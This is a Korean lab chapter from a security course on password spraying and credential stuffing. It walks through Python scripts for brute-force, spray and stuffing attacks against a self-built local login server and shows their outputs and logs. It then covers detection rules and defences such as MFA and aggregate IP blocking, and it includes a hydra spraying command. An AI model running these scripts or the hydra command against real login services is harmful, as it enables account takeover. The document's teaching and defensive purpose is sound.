Step 165. 패스워드 스프레이와 크리덴셜 스터핑 — 잠금을 피해 가로로 걷는 공격
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★☆☆ | 예상 소요 시간 3시간
전제: Step 122(hydra 온라인 브루트포스)를 마쳤다. 계정 잠금이 무엇인지 알고, 공격이 로그에 남는다는 것을 안다.
- 준비물: 파이썬 3 (표준 라이브러리만), 텍스트 에디터
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 주의: 실제 유출 비밀번호 DB는 구하지도 쓰지도 않습니다. 오늘 스터핑 실습의 "유출 목록"은 전부 지어낸 가짜입니다.
Step 122에서 한 계정에 워드리스트를 들이붓는 수직 공격을 했고, "5회 실패 시 잠금" 하나에 공격이 멈추는 것을 봤습니다. 그런데 공격자도 배웁니다 — 잠금이 "한 계정의 연속 실패"를 세는 장치라면, 계정을 바꿔 가며 시도하면 되지 않을까? 이 발상의 전환이 패스워드 스프레이(password spraying)입니다. 비밀번호 1개를 계정 10만 개에 한 번씩 — 잠금 카운터는 계정마다 따로 도니까, 누구도 5회에 닿지 않습니다.
크리덴셜 스터핑(credential stuffing)은 한 걸음 더 나갑니다. 어느 사이트에서 털린 "이메일:비밀번호" 쌍을 다른 사이트에 그대로 대입합니다. 추측이 아니라 실제로 맞았던 정답을 재사용하는 것이라 성공률이 스프레이보다 훨씬 높습니다. 오늘은 세 공격(수직·수평·재사용)을 직접 실행하고, 서버 로그에 남는 세 가지 다른 발자국을 눈으로 비교합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 온라인 패스워드 공격을 수직(브루트포스) / 수평(스프레이) / 재사용(스터핑)으로 분류한다
- 스프레이가 계정 잠금을 피하는 논리를 카운터 단위로 설명한다
- 세 공격이 로그에 남기는 패턴의 차이를 읽고 탐지 규칙으로 바꾼다
- 방어 수단(MFA, 잠금, 이상 탐지, 재사용 차단)이 어느 공격을 막는지 매칭한다
- 스터핑이 왜 "추측이 아니라 재사용"인지, 그래서 왜 위험한지 말한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 (http.server, urllib — 설치 불필요) |
| 오늘의 명령 | 새 명령 없음 — Step 122의 서버/클라이언트 구조를 다중 계정으로 확장 |
| 필요한 개념 | 수직/수평/재사용 3분류, 계정 잠금 카운터, 로그 패턴, MFA |
| 오늘의 산출물 | 다중 계정 로그인 서버 + 공격 스크립트 3종 + 로그 패턴 비교표 |
2-1. 세 공격의 좌표축 — 누가 무엇을 바꾸는가
세 공격은 "무엇을 고정하고 무엇을 바꾸는가"로 구분됩니다.
| 공격 | 고정 | 바꾸는 것 | 시도당 성공률 | 잠금 위험 |
|---|---|---|---|---|
| 수직 (브루트포스) | 계정 1개 | 비밀번호 N개 | 낮음 | 높음 — 한 계정에 실패가 쌓임 |
| 수평 (스프레이) | 비밀번호 1개 | 계정 N개 | 낮음 | 낮음 — 계정당 1회씩만 |
| 재사용 (스터핑) | 유출된 (계정, 비번) 쌍 | 쌍 자체를 순회 | 높음 | 낮음 — 계정당 1~2회 |
스프레이의 후보 비밀번호는 의외로 정해져 있습니다 — Spring2026!처럼 계절+연도+특수문자. "대문자+숫자+특수문자 8자 이상"이라는 회사 규칙을 정확히 통과하면서 직원들이 실제로 고르는 형태이기 때문입니다. 정책의 최소 요건만 맞춘 비밀번호가 오히려 가장 예측 가능하다는 역설입니다.
2-2. 잠금 카운터는 계정마다 따로 돈다
스프레이가 통하는 이유를 정확히 이해해야 합니다. "5회 실패 시 잠금"은 보통 계정별 카운터입니다. alice가 5번 틀리면 alice만 잠깁니다. 스프레이는 alice 1번, bob 1번, carol 1번… — 어느 카운터도 2에 도달하지 않습니다. 잠금 정책은 그대로인데 공격은 통과합니다.
그래서 방어는 "계정별"을 넘어 집계로 가야 합니다. "같은 출발지 주소에서 1분간 서로 다른 계정 10개에 실패" 같은 규칙이 스프레이 탐지의 기본형입니다.
2-3. 스터핑 — 추측이 아니라 재사용
스터핑의 쌍은 어딘가에서 실제로 맞았던 정답입니다. 사람이 사이트마다 비밀번호를 재사용하는 한, A사이트 유출물이 B사이트의 열쇠가 됩니다. 대규모 유출 목록이 다크웹에서 거래되고, 유출 여부를 조회하는 서비스(haveibeenpwned.com)가 있을 정도로 산업화된 공격입니다.
방어자 관점의 핵심: 스터핑은 우리 사이트가 뚫리지 않아도 성립합니다. 우리 사용자가 다른 곳에서 털린 비밀번호를 우리 사이트에도 쓰고 있다면, 우리의 보안이 아무리 튼튼해도 그 계정은 열립니다. 그래서 방어는 비밀번호 자체를 넘어 MFA(다요소 인증)로 가야 합니다.
2-4. 로그는 세 공격을 다르게 기록한다
오늘 실측의 핵심 예고입니다. 같은 "로그인 실패"라도 세 공격은 로그에서 생김새가 다릅니다.
- 수직: 같은 계정 줄줄이 + 비밀번호만 바뀜 → 끝에 잠금
- 수평: 같은 비밀번호가 서로 다른 계정에 1회씩
- 스터핑: 계정도 비밀번호도 매번 다름 + 계정당 1회 시도
방어자의 탐지 규칙은 이 차이에서 나옵니다. 3-5에서 실제 로그로 확인합니다.
3. 따라 하기
3-1. 다중 계정 로그인 서버 — 잠금 정책 포함
Step 122의 서버를 계정 8개 + 잠금 카운터로 확장합니다 (본 교재는 2026-09-09에 실측했습니다).
입력 (spray_server165.py)
import json
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
ACCOUNTS = {
"alice": "x9#kT2mQ",
"bob": "Spring2026!", # 스프레이의 표적이 될 약한 비밀번호
"carol": "p@55w0rd!",
"dave": "iloveyou", # "유출 목록"에 있을 비밀번호
"erin": "T7$fLm92",
"frank": "Spring2026!!",
"grace": "coffee2025",
"henry": "R3#xQz88",
}
LOCK_AFTER = 5 # 같은 계정 연속 5회 실패 시 잠금
LOG_PATH = "auth165.log"
fail_count = {u: 0 for u in ACCOUNTS}
locked = set()
class LoginHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
data = json.loads(self.rfile.read(length).decode())
user = data.get("username", "")
pw = data.get("password", "")
ts = time.strftime("%H:%M:%S")
if user in locked:
verdict, code = "잠금계정", 423
elif user not in ACCOUNTS:
verdict, code = "없는계정", 401
elif ACCOUNTS[user] == pw:
verdict, code = "성공", 200
fail_count[user] = 0
else:
fail_count[user] += 1
verdict, code = "실패", 401
if fail_count[user] >= LOCK_AFTER:
locked.add(user)
verdict = "실패→잠금발동"
with open(LOG_PATH, "a", encoding="utf-8") as fp:
fp.write(f"{ts} {user} 시도비번={pw} -> {verdict}\n")
self.send_response(code)
self.end_headers()
self.wfile.write(verdict.encode())
def log_message(self, *args):
pass
if __name__ == "__main__":
print(f"로그인 서버 시작: http://127.0.0.1:9091 ({len(ACCOUNTS)}개 계정, {LOCK_AFTER}회 실패 시 잠금)")
HTTPServer(("127.0.0.1", 9091), LoginHandler).serve_forever()
읽는 법: 세 장치가 오늘의 실험 장비입니다. ① fail_count는 계정별 카운터 — 스프레이가 피해 가는 바로 그것. ② 5회 실패 시 locked에 추가되고 HTTP 423(Locked)을 돌려줍니다. ③ 모든 시도가 계정·비밀번호·판정과 함께 로그에 남습니다.
3-2. 공격 1 — 수직 브루트포스: 잠금에 걸리다
한 계정(alice)에 비밀번호 8개를 순서대로 대입합니다.
입력 (vertical_attack165.py — 핵심 부분)
HOST = "http://127.0.0.1:9091"
WORDS = ["123456", "password", "qwerty", "letmein", "dragon", "football", "abc123", "monkey"]
for i, pw in enumerate(WORDS, 1):
r = try_login("alice", pw) # try_login은 Step 122와 같은 urllib POST 함수
print(f"{i}회차: alice / {pw} -> {r}")
if r == "잠금계정":
print(f"[!] {i}회차부터 계정 잠금 — 공격 중단됨")
break
실행 (서버를 띄운 뒤)
python spray_server165.py # 터미널 1
python vertical_attack165.py # 터미널 2
출력 (2026-09-09 실측):
1회차: alice / 123456 -> 실패
2회차: alice / password -> 실패
3회차: alice / qwerty -> 실패
4회차: alice / letmein -> 실패
5회차: alice / dragon -> 실패
6회차: alice / football -> 잠금계정
[!] 6회차부터 계정 잠금 — 공격 중단됨
읽는 법: 5회차에서 잠금이 발동했고, 6회차부터는 비밀번호가 맞든 틀리든 심판조차 받지 못합니다. 워드리스트 8개 중 6개를 써 보고 공격 종료 — 수직 공격이 "마지막 수단"인 이유가 이 6줄에 있습니다.
3-3. 공격 2 — 패스워드 스프레이: 잠금을 피해 가다
이번엔 비밀번호 Spring2026! 하나를 계정 8개에 한 번씩 대입합니다. 서버를 재시작해 잠금 상태를 초기화한 뒤 실행하세요.
입력 (spray_attack165.py — 핵심 부분)
SPRAY_PASSWORD = "Spring2026!"
USERS = ["alice", "bob", "carol", "dave", "erin", "frank", "grace", "henry"]
for user in USERS:
r = try_login(user, SPRAY_PASSWORD)
print(f"{user} / {SPRAY_PASSWORD} -> {r}")
출력 (2026-09-09 실측):
alice / Spring2026! -> 실패
bob / Spring2026! -> 성공
carol / Spring2026! -> 실패
dave / Spring2026! -> 실패
erin / Spring2026! -> 실패
frank / Spring2026! -> 실패
grace / Spring2026! -> 실패
henry / Spring2026! -> 실패
읽는 법: bob이 열렸고, 어느 계정도 잠기지 않았습니다. 계정별 카운터는 전부 1에서 멈췄으니까요. 같은 서버, 같은 잠금 정책인데 방향만 수평으로 바꿨을 뿐입니다. 8개 중 1개(12.5%)의 성공률 — 실제 조직에서 계정이 수천 개라면 이 비율이 의미하는 바를 생각해 보세요.
3-4. 공격 3 — 크리덴셜 스터핑: 맞았던 정답의 재사용
"다른 사이트에서 유출됐다"고 가정한 목록입니다. 전부 지어낸 가짜이며, 실제 유출 DB를 구하는 것은 불법입니다.
입력 (stuffing_attack165.py — 핵심 부분)
LEAKED = [
("alice", "alice1234"), # 다른 사이트 비번 — 이 사이트에선 틀림
("carol", "carol!!"),
("dave", "iloveyou"), # 재사용된 비밀번호 — 여기서도 통과
("grace", "grace2024"),
("henry", "henry!"),
]
for user, pw in LEAKED:
r = try_login(user, pw)
print(f"{user} / {pw} -> {r}")
출력 (2026-09-09 실측):
alice / alice1234 -> 실패
carol / carol!! -> 실패
dave / iloveyou -> 성공
grace / grace2024 -> 실패
henry / henry! -> 실패
읽는 법: dave가 열렸습니다. dave는 이 사이트에서 아무 잘못도 안 했습니다 — 다른 사이트에서 쓰던 비밀번호를 여기서도 썼다는 것 하나로 무너졌습니다. 그리고 로그에는 계정당 단 1회의 시도만 남습니다. 잠금 카운터는 물론, "같은 비밀번호 반복" 탐지도 무용지물 — 매번 다른 쌍이니까요.
3-5. 방어자의 화면 — 세 공격의 로그 나란히 읽기
입력
cat auth165.log
출력 (2026-09-09 실측, 세 실행을 이어 붙인 것):
16:57:44 alice 시도비번=123456 -> 실패
16:57:44 alice 시도비번=password -> 실패
16:57:44 alice 시도비번=qwerty -> 실패
16:57:44 alice 시도비번=letmein -> 실패
16:57:44 alice 시도비번=dragon -> 실패→잠금발동
16:57:44 alice 시도비번=football -> 잠금계정
16:57:47 alice 시도비번=Spring2026! -> 실패
16:57:47 bob 시도비번=Spring2026! -> 성공
16:57:47 carol 시도비번=Spring2026! -> 실패
16:57:47 dave 시도비번=Spring2026! -> 실패
16:57:47 erin 시도비번=Spring2026! -> 실패
16:57:47 frank 시도비번=Spring2026! -> 실패
16:57:47 grace 시도비번=Spring2026! -> 실패
16:57:47 henry 시도비번=Spring2026! -> 실패
16:57:49 alice 시도비번=alice1234 -> 실패
16:57:49 carol 시도비번=carol!! -> 실패
16:57:49 dave 시도비번=iloveyou -> 성공
16:57:49 grace 시도비번=grace2024 -> 실패
16:57:49 henry 시도비번=henry! -> 실패
읽는 법: 초(秒) 단위 시각이 경계를 보여 줍니다 — 44초 구간은 수직(같은 alice, 잠금 발동), 47초 구간은 스프레이(같은 Spring2026!, 계정만 바뀜), 49초 구간은 스터핑(쌍이 전부 다름). 탐지 규칙을 문장으로 써 보면:
- 수직 탐지: "같은 계정의 연속 실패" → 잠금 정책이 이미 하고 있는 일
- 스프레이 탐지: "짧은 시간에 서로 다른 계정이 같은 출발지에서 연속 실패"
- 스터핑 탐지: "성공이지만 평소와 다른 위치·기기·시간대" → 비밀번호가 맞아도 이상하면 의심
마지막이 스터핑 방어의 본질입니다 — 비밀번호 검증을 통과한 로그인을 맥락으로 다시 심사하는 것(이상 로그인 탐지)과, 비밀번호 하나에 전부를 걸지 않는 것(MFA)입니다.
3-6. 방어 수단 × 공격 매칭표
오늘 실험을 정리하는 표입니다. 각 방어가 어느 공격을 막는지 채워 보세요(연습문제 4의 재료).
| 방어 | 수직 | 스프레이 | 스터핑 |
|---|---|---|---|
| 계정 잠금 (5회) | 〇 | × (계정당 1회) | × |
| 출발지 기반 차단 (fail2ban 류) | 〇 | 〇 | △ (분산되면 한계) |
| MFA | 〇 | 〇 | 〇 (비밀번호만으로 부족) |
| 이상 로그인 탐지 (위치·시간·기기) | △ | △ | 〇 |
| 유출 비밀번호 목록과 대조 (가입·변경 시) | — | — | 〇 예방 |
4. 미션과 연습문제
미션 — 세 공격 실행과 탐지 규칙 설계
- 3-1의 서버를 완성하고, 세 공격 스크립트를 순서대로 실행해 출력 전문을 기록한다 (각 실행 사이에 서버 재시작)
auth165.log에서 세 구간을 찾아 각각 "이것이 무슨 공격인지" 한 줄 주석을 단다- 스프레이 공격을 탐지하는 규칙을 로그 조건으로 쓴다 (예: "같은 출발지에서 60초 내 서로 다른 계정 N회 실패")
- 서버에 집계 카운터를 추가해 스프레이를 실제로 차단해 본다 — "전체 계정 합산 10회 실패 시 그 출발지 차단" 식으로 구현하고, 3-3 스크립트가 막히는 것을 확인한다
- 내 이메일이 유출된 적 있는지 haveibeenpwned.com에서 조회해 본다 (방어적 자기점검 — 개념 확인용, 결과는 기록하지 말 것)
연습문제
문제 1. 스프레이가 계정 잠금을 피하는 원리를 "카운터"라는 단어를 써서 설명해 보세요.
문제 2. 스터핑이 브루트포스·스프레이보다 성공률이 높은 이유를 "추측 vs 재사용"의 관점으로 설명해 보세요.
문제 3. 3-5 로그에서 스프레이 구간(47초대)과 스터핑 구간(49초대)을 구분하는 단서 두 가지를 말해 보세요.
문제 4. 3-6 표에서 MFA만 세 공격 전부에 〇입니다. 왜 MFA는 스터핑까지 막는지 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
집계 카운터의 예 — 서버에 이런 장치를 추가합니다.
attempts_by_ip = {} # 출발지별 총 실패 수
blocked_ips = set()
# do_POST 안, 판정 전에:
if self.client_address[0] in blocked_ips:
# 403 차단
# 실패 판정 후에:
attempts_by_ip[ip] = attempts_by_ip.get(ip, 0) + 1
if attempts_by_ip[ip] >= 10:
blocked_ips.add(ip)
검증하는 법: ① 세 공격의 출력이 전부 기록됐는가. ② 로그 구간 구분 주석이 "계정/비밀번호의 고정·변동" 근거로 달렸는가. ③ 집계 카운터 추가 후 스프레이가 중간에 차단되는가(예: 8계정 중 도중에 403). ④ 잠금과 집계 차단의 차이를 말할 수 있는가 — 잠금은 계정 단위, 집계 차단은 출발지 단위.
연습문제 해답
문제 1 해답. 잠금은 계정별 실패 카운터가 임계값(예: 5)에 닿을 때 발동합니다. 스프레이는 비밀번호 하나를 계정마다 한 번씩만 시도하므로 모든 카운터가 1에서 멈춰, 임계값에 닿는 카운터가 없습니다. 공격의 총 시도 수는 많아도 "계정별"로 보면 전부 정상 범위입니다.
문제 2 해답. 브루트포스와 스프레이는 "맞을지 모르는 후보"를 추측해서 대입하지만, 스터핑은 다른 곳에서 실제로 맞았던 정답 쌍을 대입합니다. 사람이 비밀번호를 재사용하는 한 그 정답은 다른 사이트에서도 정답일 확률이 높습니다 — 추측의 확률 싸움이 아니라 사람의 습관을 그대로 이용합니다.
문제 3 해답. ① 스프레이는 시도 비밀번호가 전부 Spring2026!로 같고 계정만 바뀌고, 스터핑은 계정과 비밀번호가 매번 다릅니다. ② 스프레이는 연속된 계정 나열이라 패턴이 기계적으로 균일하고, 스터핑은 유출 목록의 순서를 따르므로 계정 순서가 비연속적입니다.
문제 4 해답. MFA는 비밀번호 통과 후에도 제2의 증거(앱 코드, 하드웨어 키 등)를 요구합니다. 스터핑은 "맞는 비밀번호"를 갖고 오는 공격이지만, 제2 요소는 유출 목록에 없습니다. 비밀번호 재사용이라는 전제 자체를 무력화하기 때문에 세 공격 모두에 유효합니다.
완료 기준 체크리스트
- [ ] 다중 계정 로그인 서버(잠금 정책 포함)를 직접 만들었다
- [ ] 수직 공격이 잠금에 걸려 멈추는 것을 재현했다
- [ ] 스프레이가 잠금 없이 bob을 여는 것을 재현했다
- [ ] 스터핑이 dave를 "재사용"으로 여는 것을 재현했다
- [ ] 세 공격의 로그 패턴 차이를 말로 설명할 수 있다
- [ ] 스프레이 탐지 규칙을 로그 조건으로 썼다
- [ ] 집계 카운터로 스프레이를 실제로 차단했다
- [ ] 방어 수단 × 공격 매칭표를 빈칸 없이 설명할 수 있다
6. 흔한 실수와 해결
벽 1. 공격 스크립트가 첫 시도에서 죽는다
증상: urllib.error.URLError: <urlopen error [WinError 10061] 대상 컴퓨터에서 연결을 거부했으므로 연결하지 못했습니다> (한글 윈도우는 이렇게 한글 메시지가 뜹니다).
원인: 서버가 안 켜져 있거나 포트(9091)가 다릅니다.
해결: python spray_server165.py를 먼저 띄우세요. Step 122와 같은 원인, 같은 처방입니다 — 서버 먼저, 공격은 그다음.
벽 2. 스프레이인데 계정이 잠긴다
증상: 스프레이 도중 잠금계정이 뜹니다.
원인: 직전에 수직 실험을 한 서버를 재시작하지 않았습니다. 잠금 상태는 서버 메모리에 남아 있습니다.
해결: 각 공격 사이에 서버를 껐다 켜세요. 실험 간 상태 초기화는 모든 반복 실험의 기본 예의입니다.
벽 3. "비밀번호가 맞는데 401이 온다"
증상: 분명 Spring2026!인데 실패입니다.
원인: 오타가 아니라면, 대상 계정을 bob이 아니라 frank로 보고 있을 수 있습니다 — frank는 Spring2026!!(느낌표 두 개)입니다.
해결: 이런 "거의 같은 비밀번호" 함정이 실제 서비스에도 있습니다. 공격 스크립트가 아니라 계정 데이터를 의심하세요.
벽 4. 스터핑 로그를 스프레이 로그와 구분 못 하겠다
증상: 둘 다 "계정당 1회 실패"라 같은 공격처럼 보입니다.
원인: 비밀번호 열을 안 보고 계정 열만 봤습니다.
해결: 스프레이는 비밀번호 열이 전부 같고, 스터핑은 전부 다릅니다. 로그 분석은 항상 "무엇이 고정이고 무엇이 변하는가" — 2-1의 좌표축을 로그에 그대로 대입하세요.
벽 5. 실제 유출 목록을 구해다 실험하고 싶어진다
증상: "진짜 데이터로 해야 현실적이지 않나"라는 생각.
원인: 호기심이 경계를 넘는 순간입니다.
해결: 유출 개인정보의 소지·사용은 실험 목적이라도 불법입니다. 오늘 가짜 목록으로 확인한 것은 공격의 구조와 로그 패턴이며, 그것은 가짜 데이터로도 100% 재현됩니다. 현실감이 아니라 원리를 배우는 날입니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 수직 공격 (브루트포스) | 계정 고정, 비밀번호 순회 — 잠금에 잘 걸린다 |
| 수평 공격 (스프레이) | 비밀번호 고정, 계정 순회 — 계정별 카운터를 우회 |
| 크리덴셜 스터핑 | 유출된 (계정, 비번) 쌍의 재사용 — 추측이 아니라 정답 투입 |
| 계정별 카운터 | 잠금 정책의 단위 — 스프레이가 피해 가는 틈 |
| 집계 탐지 | 출발지·시간대·계정 다양성으로 묶어 보는 방어 |
| 이상 로그인 탐지 | 비밀번호가 맞아도 맥락(위치·기기·시간)이 이상하면 의심 |
| MFA | 비밀번호 재사용 전제 자체를 무력화하는 제2의 문 |
오늘의 명령어
| 명령·도구 | 하는 일 |
|---|---|
| (새 명령 없음) | 오늘은 파이썬 스크립트 4개가 도구 |
hydra -u -L users.txt -p 비밀번호1개 ssh://IP |
(참고) hydra의 스프레이 구문 — -u는 사용자명 루프 |
cat auth165.log |
세 공격의 발자국 비교 |
| haveibeenpwned.com | 내 이메일의 유출 여부 자기점검 (방어용) |
명령어보다 중요한 감각
오늘의 핵심 그림은 카운터입니다. 방어가 "계정별로 센다"는 것을 아는 순간, 공격은 방향을 틀고, 방어는 다시 "집계로 세는" 쪽으로 진화합니다. 공격과 방어는 서로의 설계를 읽고 반응하는 장기판입니다 — 상대의 규칙을 정확히 읽는 쪽이 한 수 앞섭니다.
그리고 스터핑이 가르치는 불편한 진실: 내 사이트의 보안은 내 사이트만으로 결정되지 않습니다. 사용자가 어디선가 재사용한 비밀번호 하나가 모든 잠금 정책을 우회합니다. 그래서 현대 방어의 결론은 비밀번호를 더 길게가 아니라 비밀번호 말고 하나 더 — MFA입니다. 이 문장은 공격자 관점에서 도달한 결론이라 더 무겁습니다.
전부 체크되면 Step 165 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.